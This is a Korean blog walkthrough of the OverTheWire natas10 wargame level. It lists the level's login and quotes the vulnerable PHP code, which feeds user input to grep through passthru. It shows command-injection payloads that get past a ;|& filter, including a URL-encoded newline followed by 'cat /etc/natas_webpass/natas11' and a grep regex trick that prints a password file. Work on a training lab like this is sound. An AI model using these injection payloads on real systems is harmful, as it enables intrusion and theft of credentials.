본문 바로가기
IT Tech/NATAS

natas10

by _><- 2014. 12. 1.
반응형

http://natas10.natas.labs.overthewire.org

아이디 : natas10

패스워드 : nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu




9번과 동일하지만 이번에 ;과 |을 사용할 수 없도록 필터가 걸려있다.

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}

 

정규표현식을 사용하여 검색을 시도

grep -I : --files-with-matches

Suppress normal output;
instead print the name of each input file from which output would normally have been printed.
The scanning will stop on the first match. (-l is specified by POSIX .)

 

.* /etc/natas_webpass/natas5 #

연속된 명령을 사용하려면 command injection에 대해 공부

          

# 리눅스 명령문자

        ; # 명령의 끝을 나타낸다.

        || # 이전의 명령이 실패하면 실행하는 조건문 문자

        && # 이전의 명령이 성공하면 실행하는 조건문 문자

        & # 명령을 백그라운드에서 실행한다.

        $ # 변수에 접근할 수 있는 문자

 

  다중명령어를 사용할 수 있는 ;, & 는 필터링이 걸려있다.

  이 경우 명령어를 실행하기 위해서는 엔터와 동일한 기능을 하는 \n $key에 삽입하거나
  flag
변수를 직접 호출하는 방법이 있다.

첫번째 방법 : 주소에 \n의 아스키값인 0x0A를 넣어 검색
http://natas10.natas.labs.overthewire.org/?needle=%0A cat /etc/natas_webpass/natas11&submit=Search


두번째 방법 : 정규표현식 $ 명령문자를 이용하여

/etc/natas_webpass/natas11 내에 문자가 있는 행을 출력할 수 있다.


grep -i <정규표현식> <파일명>

$ /etc/natas_webpass/natas11


반응형

'IT Tech > NATAS' 카테고리의 다른 글

natas1  (0) 2015.10.01
natas0  (0) 2015.10.01
natas9  (0) 2014.12.01
natas8  (0) 2014.11.25
natas7  (0) 2014.11.25